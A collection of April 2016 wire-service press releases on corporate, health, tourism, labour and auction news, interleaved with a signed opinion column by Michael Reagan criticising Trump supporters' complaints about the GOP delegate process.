SAN FRANCISCO, April 22, 2016 /PRNewswire/ -- Salesforce (NYSE: CRM), the Customer Success Platform and world's #1 CRM company, today announced it has granted equity awards under its 2014 Inducement Equity Incentive Plan (the "Plan") to new employees who joined Salesforce in connection with its acquisition of YOUR SL GmbH ("YOUR SL"). The Plan was adopted by the Board of Directors in July 2014, in accordance with New York Stock Exchange Rule 303A.08.

YOUR SL is an award-winning European consulting and implementation firm that has helped leading companies such as Coca-Cola Germany and Zalando transform their businesses through the power of cloud, social and mobile.

Under the Plan, Salesforce granted a total of 80,319 restricted stock units ("RSUs") to 25 employees at YOUR SL.

These RSUs vest over four years with 25 percent of the RSUs vesting on the first anniversary of the grant date and the balance vesting quarterly thereafter in 12 equal installments, subject to continued service through each applicable vesting date. Each of the employees who received an equity award is a non-executive employee and joined Salesforce as a result of the acquisition.

About Salesforce

Salesforce, the Customer Success Platform and world's #1 CRM, empowers companies to connect with their customers in a whole new way. For more information about Salesforce (NYSE: CRM), visit: www.salesforce.com.

SOURCE Salesforce
DUBLIN, April 22, 2016 /PRNewswire/ --

Research and Markets has announced the addition of the "Satellite-Based Earth Observation: Market Prospects to 2024" report to their offering.

(Logo: http://photos.prnewswire.com/prnh/20160330/349511LOGO )



Now in its 8th edition, Satellite-Based Earth Observation, Market Prospects to 2024 is the only report providing industry forecasts, assessment of business opportunities and analysis of the entire civil & commercial value chain for this growing segment of the satellite industry. It includes a detailed breakdown of application sectors within each region along with consolidated forecasts per application sector and per region



Highlights from the report:



Over 400 civil and commercial Earth observation (EO) satellites (>50kg) are expected to be launched over the next decade compared to 179 over 2005-2014. This will result in $39 billion in manufacturing revenues over the period, an 80% increase over that of the previous decade. The increasing satellite units will arive from both government and private sources as more countries invest in EO technologies and the commercial business continues to evolve. In addition, over 1,200 <50kg satellites are anticipated to be launched to support the development of cubesat constellations, adding to the overall data supply.



Over 50 countries are now investing in EO programs, with total global investment close to $9 billion in 2014, a ninth year of continued investment growth. Investment is expected to top $10 billion in 2015. Government priorities depend on the stage of development of their EO program, and wider government policy objectives. Environment monitoring and climate change remain top priority areas in governments' political agendas, supporting the development of science-driven EO mission within R&D programs; other EO programs are expanding rapidly with countries such as India and China striving towards self-sufficiency for data collection. In emerging programs EO is a tool to help develop a national industry and support local data requirements.



In 2024 the market for commercial EO data is expected to reach $3.5 billion. Regionally, the Asian markets, Latin America and Africa are expected to have strong growth profiles. Natural resources management, engineering & infrastructure, LBS and defense are expected to be the main application areas supporting growth.



The number of satellites in operation offering commercial data solutions is expected to significantly expand. The increase reflects fleet expansion of existing operators to respond to growing demand, more governments commercializing data to receive a return on investment from the initial satellite funding, and new commercial entrants.



Report Features:



- More than 100 full page graphs and tables

- Over 1,000 datapoints

- PDF, Excel & PPT Files



Key trends, drivers & forecasts:



- Current and forecast market situation to 2024, full assessment of challenges, risks and growth drivers

- Assessment of commercial opportunities including commercial data demand by data typology & sector

- Assessment of commercial opportunities by satellite manufacturing



Detailed Value-Chain Analysis



- Assessment of opportunities and challenges across the industry

- Analysis of government investment, operators, distributors and service providers



EO Data Demand



- Broadened analysis of data demand and requirements: Drivers and risks for growth

- Opportunities for data & services growth across regions



Satellites Launched & Forecast



- Launches from 2005-2014

- Expected launches through 2024

- Satellite imaging characteristics

- Operator typology

- Prime manufacturer/launch service provider / uncontracted satellite missions

- Detailed breakdown of application sectors within each region

- Consolidated forecasts per application sector and per region



Who will benefit from this report?



- Space agencies & other government entities

- Satellite operators

- Satellite equipment manufacturers

- Launch services

- Satellite service providers

- Banks & investors



Key Topics Covered:



1. Strategic Issues And Forecasts

179 EO Satellites Launched Over The Last Decade

Significant Expansion Of The Supply Base Expected

Balancing Tradeoffs Through Policy And Law

Drivers And Risks Along The EO Value Chain

2. The Industry

Emerging Government Programs Drive EO Investment

The Commercial Data Market Totals $1.6 Billion In 2014

In 2014 The New Space Environment

Commercial EO Operators Continue International Expansion

Government Investment In EO Continues To Increase

Meteorology Investment Driven By Leading Agencies

3. Sector And Regional Demand

Sector Demand Overview

Defense

Natural Resources Monitoring

Infrastructure And Engineering

Energy

Location-Based Services

Maritime Operations

Disaster Management

Environment Monitoring

Regional Overview

4. Satellites Launched To 2014, Planned/Forecast to 2024



For more information visit http://www.researchandmarkets.com/research/t3hnfx/satellitebased



Media Contact:

Laura Wood, Senior Manager

[email protected]

For E.S.T Office Hours Call 1-917-300-0470

For U.S./CAN Toll Free Call 1-800-526-8630

For GMT Office Hours Call +353-1-416-8900

U.S. Fax: 646-607-1907

Fax (outside U.S.): +353-1-481-1716



SOURCE Research and Markets
RACINE, Wis., April 22, 2016 /PRNewswire/ -- SC Johnson today announced it will donate 27,000 units of OFF! personal mosquito repellent, including towelettes, aerosols and pump sprays, to the American Red Cross. The DEET-based personal repellent will be distributed to help avoid mosquito bites while assisting in natural disaster operations. This donation is part of SC Johnson's commitment to donate at least $15 million over the next year to help protect against mosquitoes.

OFF! Deep Woods personal repellent in production at SC Johnson's Waxdale manufacturing facility

"With mosquito season coming to the United States amid growing concerns of Zika, we want to provide whatever support we can," said Fisk Johnson, Chairman and CEO of SC Johnson. "Red Cross workers engage in critical work in flooding and disaster situations, frequently in mosquito-prone areas. This donation will help protect them from mosquitoes that may carry diseases like Zika."

The American Red Cross is a humanitarian organization that provides emergency assistance, disaster relief and recovery programs. In the past 135 years, the Red Cross has sheltered, fed and provided emotional support to victims of disasters; supplied about 40 percent of the nation's blood; taught skills that save lives; provided international humanitarian aid; and supported military members and their families.

"We're grateful to have a community leader like SC Johnson support Red Cross relief efforts in disaster areas like Texas after devastating flooding," said Patty Flowers, Regional CEO of the American Red Cross in Wisconsin. "The donated mosquito repellent will go a long way to support disaster clients and our workers too."

Today's donation to the American Red Cross is the latest announcement in SC Johnson's ongoing efforts to provide up to $15 million in resources globally to help protect against mosquitoes including aid to numerous countries that are experiencing outbreaks of Zika and dengue fever. In coordination with the CDC Foundation, SCJ supported the Zika Action Plan Summit held by the White House and the U.S. Centers for Disease Control and Prevention (CDC) on April 1, and also donated to the CDC's Zika Prevention Kits. Additional donations have been made to AmeriCares, the Rio de Janeiro-based Children's Health Association and the County of Hawaii Civil Defense Agency.

SC Johnson is the world's largest manufacturer of insect repellents and household insecticides, including OFF!, Autan, Raid and Baygon. For nearly 60 years, SC Johnson entomologists have studied insects at the Entomology Research Center in Racine, Wis., the biggest private, urban entomology research center in the world.

For more information, please go to www.scjohnson.com/mosquitoes. For downloadable materials and educational assets, please visit our media microsite.

About SC Johnson

SC Johnson is a family company dedicated to innovative, high-quality products, excellence in the workplace and a long-term commitment to the environment and the communities in which it operates. Based in the USA, the company is one of the world's leading manufacturers of household cleaning products and products for home storage, air care, pest control and shoe care, as well as professional products. It markets such well-known brands as GLADE, KIWI, OFF!, PLEDGE, RAID, SCRUBBING BUBBLES, SHOUT, WINDEX and ZIPLOC in the U.S. and beyond, with brands marketed outside the U.S. including AUTAN, TANA, BAMA, BAYGON, BRISE, KABIKILLER, KLEAR, MR MUSCLE and RIDSECT. The 130-year-old company, which generates $10 billion in sales, employs approximately 13,000 people globally and sells products in virtually every country around the world. www.scjohnson.com

Photo - http://photos.prnewswire.com/prnh/20160421/358603

SOURCE SC Johnson

Related Links

http://www.scjohnson.com


AUSTIN, Texas, April 22, 2016 /PRNewswire/ -- Austin's community-based, non-profit health insurance company, Sendero Health Plans, has launched an innovative new program to help keep its members healthy. The program, called A Tu Lado  By Your Side, includes the use of trained and certified Community Health Workers (CHWs) to improve health outcomes among Sendero members. Sendero implemented a Diabetes and post-partum CHW program in 2015, and is expanding this to encompass complete care for pregnant women. A CHW will accompany members every step of the way from pregnancy testing through delivery and beyond to ensure that pregnant women access all appropriate services available to improve the health of both mom and baby.

Sendero recognizes CHWs as integral members of the health care workforce who can play a key role in achieving better care for our members. Wes Durkalski, President and CEO of Sendero Health Plans, explained "Since 2014, Sendero has been utilizing CHWs, or Promotores de Salud, because of their trusted relationship with the community we serve. They provide a high-touch model, which includes home visits, to support a wide range of activities that increase health knowledge, self-sufficiency and appropriate utilization of healthcare services."

The program incorporates comprehensive and expanded obstetric (OB) services including personal, professional and compassionate care in the prevention, detection and treatment of a broad range of women's health concerns and family issues. The OB expanded care services provided free by Sendero include pregnancy testing, educational baby showers, personalized communications during pregnancy, prenatal support, post-partum support and breastfeeding classes.

In addition, members will have access to Sendero's LifeSteps, a guide for members to resources on topics including: nutrition and healthy eating; budgeting and money management; parenting and family issues; English as a second language (ESL); GED and workforce development.

To further help the new parents, Sendero Health Plans has recently been accepted as a non- profit partner participating in the national Diaper Disparity program. Sendero will now be able to purchase diapers at discounted prices and offer them to its members. Nearly one in three American families struggle to afford enough diapers, which can lead to serious health problems for both babies and parents.

Currently Sendero is conducting an IRB approved study to evaluate the effectiveness of CHW's in helping to improve outcomes for pregnant members and newborns, and members with chronic conditions such as diabetes. This is a multi-arm study, including a double-blind randomized controlled trial component, assessing interventions designed to improve outcomes and lower costs.

Sendero Medical Director Ted Held, MD, believes the A Tu-Lado - By Your Side program is the perfect complement to the care he provides as a physician at People's Community Clinic. "Both Sendero and People's Community Clinic are committed to improving the health of underserved communities. We hope patients will develop a personal relationship with their CHW, so that all of their needs can be met with respect and dignity."

Durkalski added that "Sendero Health Plans has been utilizing CHW's to improve care for members regardless of coverage and including Medicaid, federal Marketplace, and indigent care programs. We are committed to helping healthcare move beyond traditional service delivery models, and developing and implementing the latest evidence based methods to address the social and environmental conditions that perpetuate and exacerbate poor health in our communities."

Other new and exciting health initiatives will be announced by Sendero Health Plans in the near future, as it works together with community providers and partners for the benefit of all residents.

More About Sendero Health Plans

Formed in 2011 to improve access to care for those covered by publicly-funded health insurance programs, the non-profit health plan covers an eight-county area in Burnet, Bastrop, Travis, Fayette, Hays, Williamson, Lee and Caldwell counties. Sendero Health Plans is sponsored by the Travis County Healthcare District (d.b.a. Central Health), Visit www.senderohealth.com to learn more about Sendero Health Plans.

Contact:

Linda Burton

Director of Marketing

Sendero Health Plans

(210) 482-0789 cell

[email protected]

SOURCE Sendero Health Plans

Related Links

http://www.senderohealth.com


NEW YORK, April 22, 2016 /PRNewswire/ -- The Society of Professional Journalists (SPJ) today announced it has honored two Hearst Television stations  KCCI-TV, Des Moines, and WDSU-TV, New Orleans  with prestigious Sigma Delta Chi Awards recognizing the best in professional journalism.

Today's awards cap a week in which Hearst Television's WTAE-TV, Pittsburgh, was honored with the highly coveted Peabody Award, from the University of Georgia's Grady College of Journalism, for its series of special reports, "Burning Questions: Investigation into Fire Response Times." The Peabody, which WTAE was one of only three U.S. television stations to receive this year, recognized WTAE's investigation of systemic problems within Pennsylvania's volunteer fire departments leading to wide gaps in fire response times. The series -- which also helped WTAE earn a National Headliner Award from the Press Club of Atlantic City and a regional Edward R. Murrow Award for "Overall Excellence" from the Radio Television Digital News Association -- helped spur remedial action in the Pennsylvania Legislature.

The National Headliner was one of 16, including eight first-place honors, awarded to Hearst stations this month. The regional Murrow, awarded this week, was one of 28 given to stations throughout the group -- including an "Overall Excellence" honor to each of the company's four largest news stations.

These latest honors follow the December 2015 grant of a prestigious Alfred I. duPont-Columbia Award to WBAL-TV, Baltimore, and its lead investigative reporter, Jayne Miller, for her reporting on the arrest of Freddie Gray and injuries he sustained while in custody. WBAL-TV and sister radio station, WBAL-AM, also collectively earned six National Headliner Awards for coverage of the Gray story and others.

"Outstanding journalism earns recognition from the most respected critics when it serves the public good by informing and inspiring communities and spurring action," said Jordan Wertlieb, Hearst Television's President. "Hearst Television journalists throughout the group have passed the test more than ever this year, earning television journalism's very highest national and regional honors  and proving just how indispensable truly local television is to our society."

In addition to WTAE, four other regional Murrows for Overall Excellence went to WCVB-TV, Boston; WESH-TV, Orlando; KCRA-TV, Sacramento; and KMBC-TV, Kansas City. WESH also earned four Florida AP Broadcast honors, including Overall Excellence, for various stories, while WPBF-TV, West Palm Beach, was recognized for its story, "Cuba: Unlocked." WDSU received both a regional Murrow and National Headliner for a two-part series on ALS, which also this week earned the national Gabriel Award, presented by the Catholic Academy of Communication Professionals. In ongoing regional Emmy competition, WCVB meteorologist Harvey Leonard will be receiving the Emmy's Governor's Award.

About Hearst Television

Hearst Television owns and operates local television and radio stations serving 26 media markets across 39 states reaching over 21 million U.S. television households. Through its partnership with nearly all of the major networks, Hearst Television distributes national content over nearly 70 video channels including programming from ABC, NBC, CBS, CW, MY Net, MeTV, This TV, Estrella and more. Hearst Television is recognized as one of the industry's premier companies, and has been honored with numerous awards for distinguished journalism, industry innovation, and community service. Hearst Television is a wholly owned subsidiary of Hearst. The Company's Web address is www.hearsttelevision.com.

SOURCE Hearst Television

Related Links

http://www.hearst.com/broadcasting


Quiet location connected to the action

Super 8 Munich City West offers everything guests might need during a stay in the Bavarian capital, whether they are business travelers, city tourists or families. The hotel is just ten minutes away from the city center, making it the perfect starting point for sightseeing tours. It is no coincidence that Munich was selected as the first German location for Super 8: the city on the Isar is one of the top destinations for guests from all around the world, with a record number of 14.1 million overnight stays in 2015. "Munich is a bustling metropolis brimming with new ideas and innovative business models, as evidenced by the tremendous local talent showcased at our grand opening celebration," says Daniel Ruff, President and Managing Director EMEA for Wyndham Hotel Group. "Super 8 Hotels are modern and fit in well with the city, its fast-paced development and the discerning taste of guests from all over the world who visit. Super 8 hotels are equipped to meet international standards at a high level while also always emphasizing the unique character of the local area."

The ideal accommodation for city breaks

The first Super 8 in Germany offers more than just a central location and excellent connection to the public transport network. Super 8 Munich City West also offers a lounge, a coffee shop run in cooperation with traditional German company Dallmayr, a quiet terrace and a breakfast show kitchen serving Bavarian specialties. The complimentary Grab&Go breakfast, comprising a hot drink and sweet pastry, awaits guests who are pressed for time in the morning. The 168 bright rooms with a modern design have comfortable box-spring beds and luxurious bathrooms with under floor heating and a walk-in shower. Furthermore, guests of the Super 8 Munich City West hotel can also look forward to pictures of Munich's Siegestor, or "Victory Arch", in their rooms. Guests can access their rooms using their smartphone as a key thanks to innovative technology from local company Hotelbird.

Bavarian coziness encounters International Flair

Super 8 attaches great importance in anchoring its establishments in the culture and heritage of the cities where it operates. Therefore it was only natural that creative minds and emerging Munich entrepreneurs were there at the opening event to welcome Super 8 to their community and share their products and ideas. The young entrepreneurs from 3BREW (http://3brew.de/) served up their soda beer to revelers. Co-founder David Blake Walker was really excited about participating in the opening event - especially because he has a personal connection to the Super 8 brand: "A family's friend knows Super 8-founder Ron Rivett from South Dakota, so we wanted to make Super 8 feel welcome in Munich!" Whilst Munich may be known as the beer capital of the world, gin and Lion's vodka served as the basis for delicious cocktails such as the Munich Mules and G&T thanks to "the Duke" (https://theduke-gin.de/). Bavarian delicacies such as hearty roast pork and homemade burgers straight from the smoker were provided by Bazi's Schlemmerkucherl (https://www.facebook.com/BaziBox/), who interpreted modern Bavarian culinary art modern in a live open show kitchen, and Beeftrager (www.beeftraeger.de) the original, American food truck. While enjoying their drinks and food, the guests were serenaded by local musician Ella Josaline. With her unique voice and her acoustical pop songs, on the stage the 17-year-old songstress from Munich enchanted everyone.

The Bavarian capital's Start-up scene introduces itself

Next to the regional food and beverage partners, the Munich start-up scene made an appearance. Hotelbird (http://hotelbird.de/), the first app to be showcased, is even in use at the hotel. Founder Juan A. Sanmiguel presented the app live on site. They digitalized the entire communication process between reception and guests. That means you can check in, open the doors, pay and check out with the app. So you don't need extra time at the reception or a supplementary key. Exceptional gadgetry came from Pazls (http://pazls.de/), which had everyone staring in amazement: the magnetic technology connects pieces of furniture flexibly with each other. The new mobility startup Parkpocket (https://parkpocket.com/) presented their parking space finder, whiGutch provides real time information about available or free parking spaces. The innovative solution can be integrated directly into the car or navigation system. Slideflight (https://www.slideflight.com/de) showcased their add-in for Microsoft PowerPoint, which enables presenters to broadcast live to an audience using a smartphone, tablet or notebook computer. The old school paper handouts can be replaced by a smart digital solution.

Images from the Super 8 Munich City West can be downloaded in high resolution here.

About Super 8

Part of Wyndham Hotel Group, the Super 8 hotel brand is one of the world's most well-known hotel chains with more than 2,600 locations around the globe, more than any other U.S.-based economy lodging provider. Most hotels offer an array of complimentary amenities including free Wi-Fi, a free SuperStart continental breakfast and the opportunity to earn and redeem points through Wyndham Rewards, the brand's guest loyalty program. Travelers can join the free program at www.wyndhamrewards.com.

Each Super 8 hotel is independently owned and operated under a franchise agreement with Super 8 Worldwide, Inc. (SWI), or its affiliate. SWI is a subsidiary of Wyndham Hotel Group, LLC and parent company Wyndham Worldwide Corporation (NYSE: WYN). Reservations and information are available by visiting www.super8.com.

About Wyndham Hotel Group

Wyndham Hotel Group is the world's largest hotel company based on number of hotels and is one of three hospitality business units of Wyndham Worldwide (NYSE: WYN). As both a leading hotel brand franchisor and hotel management services provider, the company's global portfolio consists of over 7,800 properties and 678,000 rooms in 72 countries under the following brands: Dolce Hotels and Resorts, Wyndham Grand, Wyndham Hotels and Resorts, Wyndham Garden Hotels, TRYP by Wyndham, Wingate by Wyndham, Hawthorn Suites by Wyndham, Microtel Inn & Suites by Wyndham, Ramada, Baymont Inn & Suites, Days Inn, Super 8, Howard Johnson, Travelodge and Knights Inn. Wyndham Rewards, the company's guest loyalty program, offers more than 44 million members the opportunity to earn and redeem points at thousands of hotels across the world. For more information, visit www.wyndhamworldwide.com.

For more information about hotel franchising opportunities visit www.whgdevelopment.com.

Logo - http://photos.prnewswire.com/prnh/20151001/273255LOGO

Photo - http://photos.prnewswire.com/prnh/20160421/358761

Photo - http://photos.prnewswire.com/prnh/20160421/358760

SOURCE Super 8
MINNETONKA, Minn., April 22, 2016 /PRNewswire/ -- Table Trac, Inc. (OTCQB: TBTC), a developer and provider of casino information and management systems that automate and monitor the operations of casinos, today announced it will provide its CasinoTrac Management System for the Deadwood Gulch Saloon located in Deadwood, South Dakota.

Table Trac will provide the Deadwood Gulch Saloon with their casino management system that includes reporting, slot auditing, accounting, patron management, dispatching, along with marketing and promotional solutions, which assist casinos in creating player loyalty and growing revenues.

Ron Island, Owner of the Deadwood Gulch Saloon, said, "CasinoTrac allows us to offer our patrons all the amenities for a great experience. Our property is a favorite of both locals and tourists and the addition of a players club and TITO will benefit both. We have found in CasinoTrac the perfect solution for future growth and profitability."

Chief Executive Officer, Brian Hinchley, of Table Trac stated, "Deadwood, the third gaming jurisdiction in the United States, is a very important market to us. To bring our technology and innovation to another property on Deadwood's Main Street is an honor."

About Table Trac, Inc.

Founded in 1995, Table Trac, Inc. designs, develops and sells casino information and management systems. The company has systems installed in North, South, and Central America, as well as the Caribbean. More information is available at http://www.tabletrac.com/.

Forward Looking Statements

This press release contains forward-looking statements that involve numerous risks and uncertainties. Actual results, performance or achievements could differ materially from those anticipated in such forward-looking statements as a result of certain factors, including those set forth in the Company's filings with the Securities and Exchange Commission.

For more information:

Brian Hinchley

Table Trac, Inc.

952-548-8877

SOURCE Table Trac, Inc.

Related Links

http://www.tabletrac.com


Trump people kill me.

Theyve been whining for weeks about how the Republican Party primary system works.

They say its rigged because their hero is pulling in the most votes and the most delegates but still might not win the nomination.

They say its all very simple: Trumps getting the most votes and therefore its only fair that the person with the most votes from the people should win the nomination.

As I tweeted earlier this week, if thats the way Trumps followers think, then they should all be supporters of Al Gore.

In the 2000 election Gore got 540,000 more votes than George W. Bush, but Bush ended up in the White House because he accumulated the most Electoral College votes.

The Founding Founders & Framers knew what they were doing when they set up the Electoral College to indirectly choose the president.

They didnt want a popular vote and they didnt want Congress to pick the chief executive.

And they sure didnt want a candidate for president to be able to just campaign in three or four big states and rack up huge vote totals and win that way.

The Founders deliberately set it up so each state got its electoral votes in proportion to its representatives and senators.

They wanted every part of the country to be part of the process of choosing a president, not just one heavily populated region or one strong faction of nut balls or extremists. (Not that Trump people are nutballs or extremists.)

Its the same representative principle at work in the Republican Partys primary system.

The GOP doesnt want some guy to be able to win the nomination by flying a 757 into a handful of big states like California, New York, Texas, Illinois, Ohio and Florida, holding campaign events for 20,000 people at the airport and then flying home to Upper Upper Manhattan.

They want a nominee who gets on the ground, walks the neighborhoods, shakes hands and does the hard retail work at the grass roots.

Thats what Ted Cruz has been doing to win his delegates while Trump has been doing TV interviews and zooming back and forth over Flyover Country.

Trump people might not like the primary process because their hero is not winning, or think there is cheating and rigging going on.

But they have to understand there is a process and its not about vote counts, its about the delegate count. Its not that tough to get.

Meanwhile, what really concerns me lately is how Trump is wrecking his ability to unify the GOP around his candidacy in the fall if he does win the nomination.

He spends parts of every speech and press conference announcing that he hopes that his supporters dont make trouble if he doesnt win. He hopes they dont riot in the streets.

Im getting tired of his veiled threats, because that is what they really are.

Its time for Reince Priebus, the chairman of the Republican National Committee, to stand up at a press conference and tell Trump to cut it out.

Maybe threats and intimidation are part of the Donalds winning strategy in business. But its not how its supposed to work when youre trying to win the presidential nomination of the Republican Party.

Michael Reagan is the son of President Ronald Reagan, a political consultant, and the author of The New Reagan Revolution (St. Martins Press). Send comments to Reagan@caglecartoons.com. Follow @reaganworld on Twitter.
LOS ANGELES, April 22, 2016 /PRNewswire/ -- The Taiwan Tourism Bureau has launched its "Best of Taste Taiwan" campaign in North America, which will run through June 2016.

Taiwan, located in the "Heart of Asia," is renowned for its award-winning cuisine, historical attractions, and stunning natural scenery, making it the perfect destination for both long-haul and stopover visits to Asia. In 2015, Taiwan welcomed more than 10 million international visitors.

The Taiwan Tourism Bureau produced its brand-new travel show, "Best of Taste Taiwan: 10 Things You Must Do," highlighting an array of activities throughout the country  from signature experiences to local secrets: visiting the iconic Taipei 101, the tallest building in Taiwan; savoring local cuisine in a bustling night market and at the world-famous Din Tai Fung restaurant; navigating the island aboard Taiwan's easily accessible transportation system; experiencing natural wonders at Taroko Gorge; wandering through the nostalgic gold-mining town of Jiufen, and much more. This 30-minute special is hosted by Mike Siegel, an acclaimed television presenter and host of the popular "Travel Tales" podcast.

The Taiwan Tourism Bureau hosted the premiere of "Best of Taste Taiwan" in Los Angeles, Vancouver, New York, and Houston throughout the month of April. Cocktail receptions attracted more than 100 guests in each city, including high-profile media, travel influencers, tour operators, and travel agents.

For two weeks after the premiere event, moviegoers will enjoy a 30-second sneak peek of "Best of Taste Taiwan" at select theaters. The complete program will air on CNBC on Saturday, April 23rd at 12:30 pm PST/ 3:30pm EST. The show will also be available on Taste Taiwan's official YouTube Channel (https://www.youtube.com/channel/UCltjbffSQPj-t__ERPPmvkg).

Between May 1 and June 30, the Taiwan Tourism Bureau will launch its "Best of Taste Taiwan" Facebook campaign that includes giveaways of free trips to Taiwan. You can enter by visiting the "Tanya Loves Taiwan" Facebook page (www.facebook.com/TanyaLovesTaiwan), for a chance to win round-trip tickets to Taiwan.

If you are ready to travel to Taiwan now, check out the new Travel Deal Site (http://www.go2taiwan.net/traveldeal), featuring all the best travel packages available for a visit to Taiwan.

ABOUT TAIWAN TOURISM BUREAU

The Taiwan Tourism Bureau is the official government agency responsible for domestic and international tourism policy development and execution. There are three North American Tourism Offices located in New York, Los Angeles, and San Francisco.

For information about Taiwan, please visit: http://go2taiwan.net/

Press Contact:

Yalun Ho

[email protected] / +1 310 648 0746

Logo - http://photos.prnewswire.com/prnh/20160421/358716LOGO

SOURCE Taiwan Tourism Bureau

Related Links

http://go2taiwan.net


BROOKFIELD, Ill., April 21, 2016 /PRNewswire-USNewswire/ -- The Teamsters Local 727 Bargaining Committee and Chicago Zoological Society (CZS) management on April 21 reached a tentative agreement on a five-year contract, which preserves health care benefits for nearly 300 workers at Brookfield Zoo.

Teamsters Local 727 represents full-time and seasonal zoo workers, including zookeepers, groundskeepers and patrol officers.

"From Day One, we made it abundantly clear that health care was the most important issue for our members," said John Coli Jr., President of Local 727. "We are glad that zoo management finally heard our members' concerns and came to the table ready to work with us to ensure these workers and their families are taken care of for years to come."

Contract negotiations began in November with the previous four-year contract set to expire Dec. 31, 2015. Over the course of six months and multiple contract extensions, the Local 727 Bargaining Committee  composed of Brookfield Zoo workers, union stewards and union representatives  met with CZS management 14 times.

"It was a huge challenge. We had to sacrifice a lot of time and patience in order to get to where we are," said union steward Carrie Sapienza, a Local 727 Bargaining Committee member. "But we never wavered, and we were united."

The tentative agreement now goes to a member vote.

Teamsters Local 727 represents about 10,000 hardworking men and women throughout the Greater Chicago area.

Contact

Maggie Jenkins, (847) 696-7500

Logo - http://photos.prnewswire.com/prnh/20100127/IBTLOGO

SOURCE Teamsters Local 727
Kern previously served for 10 years as regional director of operations for The Goodman Group. He oversaw 10 properties and two certified home health care agencies with 1,200 residents and 1,500 employees.

Prior to The Goodman Group, Kern was the senior executive director of a healthcare company based in Minneapolis. He was also the executive director of an assisted living facility and managed home health care services.

Kern commented, "I am inspired by our former Chairman John B. Goodman's lasting vision to create exceptional environments, invest in their prosperity, and continually develop new and meaningful programs and services. I am honored to be a part of the leadership of this pioneering company, where integrity and genuine compassion are at the heart of everything we do."

Kern has a Master of Business Administration from University of Phoenix. He is certified in Long-Term Care Administration from the University of Minnesota. He is a licensed nursing home administrator in Arizona, Minnesota, and Oregon. He currently serves on the Care Providers of Minnesota board of directors and previously served on its service corporation board and health care reform committee. He is a member of the American Health Care Association and the National Center for Assisted Living.

About The Goodman Group

The Goodman Group, a Chaska, Minn.-based international company, is a leader in developing and managing senior living communities, residential communities and commercial properties. The Goodman Group is a privately held company with 50 years of experience, overseeing communities with more than 13,800 residents and 4,300 team members in 10 states and the United Kingdom. Platinum Service is the centerpiece of The Goodman Group's promise to deliver an unparalleled service experience. We specialize in the development of proprietary programs and services to encourage residents' optimal wellbeing. Recipient of the 2014 Performance Excellence Advancement Level Award, based on Malcolm Baldrige Criteria. First long-term care and residential living provider in Minnesota to be proclaimed a Yellow Ribbon Company. Visit www.thegoodmangroup.com or call 952-361-8000.

Photo - http://photos.prnewswire.com/prnh/20160422/358825

Logo - http://photos.prnewswire.com/prnh/20150901/262891LOGO

SOURCE The Goodman Group

Related Links

http://www.thegoodmangroup.com


BREDA, The Netherlands, April 22, 2016 /PRNewswire/ -- Teleconnect Inc (OTCBB: TLCO) today announces that the Court in The Hague has ruled that the Dutch Food Retail Association (CBL) and Jumbo Supermarkets have violated anti-trust legislation by ruling out the very effective age validation system 'Ageviewers' at the sale of tobacco and alcohol.

Instrumental for the infringement was the industry wide responsible alcohol retailing code and an ID-campaign in the Netherlands, similar to the 'We Card Program' in the US. The Court in The Hague, sitting in full bench, established that both the code and the campaign have the object of impeding the implementation and proliferation of the Ageviewers system and therefore are declared void and nonexistent. CBL and Jumbo are the first parties that have been found jointly and severally liable for all damages inflicted to Ageviewers since 2008.

The ruling does not only affect CBL and Jumbo. Among the many parties involved in the ID program are Dutch market leader Ahold, currently merging with Delhaize and operating in the US with brands as Stop & Shop, Giant and Peapod; the Dutch Brewers Association; the Wine Industry; Bacardi-Martini and Diageo.

Reaction Teleconnect Inc - Ageviewers

We are very happy with this judgment. Our business has been severely affected by this cartel since 2008 and our financial claim will be substantial. In our view, the boycott exposes an extensive morality and compliance problem regarding the sale of alcohol and tobacco to minors. We are investigating the consequences of the judgment in the US, as the boycott completely derailed our plans to implement the Ageviewers system in the American market, where our company is listed and where we have our roots.

We are requesting all parties involved in the production and sale of tobacco and alcohol, in responsible retailing and prevention institutes, to endorse and support our further efforts to implement Ageviewers in the Dutch and US market.

SOURCE Teleconnect Inc
Ritchie Bros. unreserved public auction attracted 4,400+ bidders from 57 countries

HOUSTON, TX, April 22, 2016 /PRNewswire/ - More than US$47 million of equipment and trucks was sold in Ritchie Bros.' Houston, TX auction this week, which went ahead as scheduled despite heavy storms nearby.

"Weather has never stopped a Ritchie Bros. auction," said Alan McVicker, Regional Sales Manager, Ritchie Bros. "We're pleased that we were able to conduct our usual professional auction and bring in buyers from around the world, delivering strong results for sellers. We sold 26% more lots compared to our April Houston auction last year and attracted 5% more bidders. While there was continued pricing softness for specialized oil and gas equipment, our active bidding audience generated solid performance for cranes."

Mr. McVicker continued, "Our thoughts are with the families who have been affected by the storms in the area."

The two-day auction on April 20 - 21, 2016 attracted 4,400+ total bidders from 57 countries. Approximately 58 percent (US$27+ million) of the equipment was sold to out-of-state buyers, including nine percent (US$4+ million) sold to out-of-country buyers. More than 2,800 of the bidders registered to bid online and purchased 56 percent (US$26+ million) of the equipment in the auction.

Specific equipment sales highlights:

Two Link-Belt 218HSL HYLAB 110-ton self-erecting crawler cranes sold for a combined $650,000

A 2007 Liebherr LTM1160-5.1 190-ton 10x6x8 all terrain crane sold for $455,000

A 2014 Caterpillar RM300 pulverizer sold for $330,000

pulverizer sold for Four 2010 Caterpillar 777F rock trucks sold for a combined $530,000

A 1997 Link-Belt LS248H 200-ton crawler crane sold for $330,000

Two 2011 Caterpillar 740 6x6 articulated dump trucks sold for a combined $320,000

Two 2012 Caterpillar D6N LGP crawler tractors sold for a combined $277,500

A 2013 John Deere 850K crawler tractor sold for $145,000

A 2013 Western Star 6900XD T/A T/A bed truck sold for $147,500

A 2012 Caterpillar 336E hydraulic excavator sold for $137,500

Auction quick facts: Houston (April 2016)

Gross auction proceeds  US$47+ million

US$47+ million Amount sold to online bidders  US$26+ million

US$26+ million Total registered bidders (onsite and online)  4,400+ bidders from 57 countries

4,400+ bidders from 57 countries Online registered bidders  2,800+

2,800+ Number of lots sold  4,700+

4,700+ Number of sellers  525+

Ritchie Bros. has 100+ upcoming auctions on its calendar at rbauction.com, including a two-day sale in Fort Worth, TX on May 4-5, 2016. More than 2,600 items will be sold in the Fort Worth auction, including 315 trailers, 355 truck tractors, 55+ compactors, 35+ excavators, 30+ loaders, 25 dozers, and more. Visit rbauction.com/Fort-Worth for more info.

About Ritchie Bros.

